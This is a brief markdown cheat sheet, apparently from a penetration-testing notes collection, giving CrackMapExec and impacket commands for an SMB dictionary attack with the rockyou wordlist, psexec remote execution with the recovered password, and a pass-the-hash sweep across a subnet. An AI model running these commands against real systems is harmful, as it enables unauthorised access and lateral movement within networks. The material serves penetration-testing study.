killchain-compendium/post_exploitation/docs/crackmapexec.md

413 B

Crackmapexec

  • Dictionary attack against SMB
cme smb domain.name -u <user> s -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
  • Use the password with impacket/examples/psexec.py in the following way
psexec.py domain.name/<user>:<password>@<target-IP>

SMB

  • Check user hash on the network via smb
 crackmapexec smb 10.200.x.0/24 -u <user> -d <domain> -H <hash>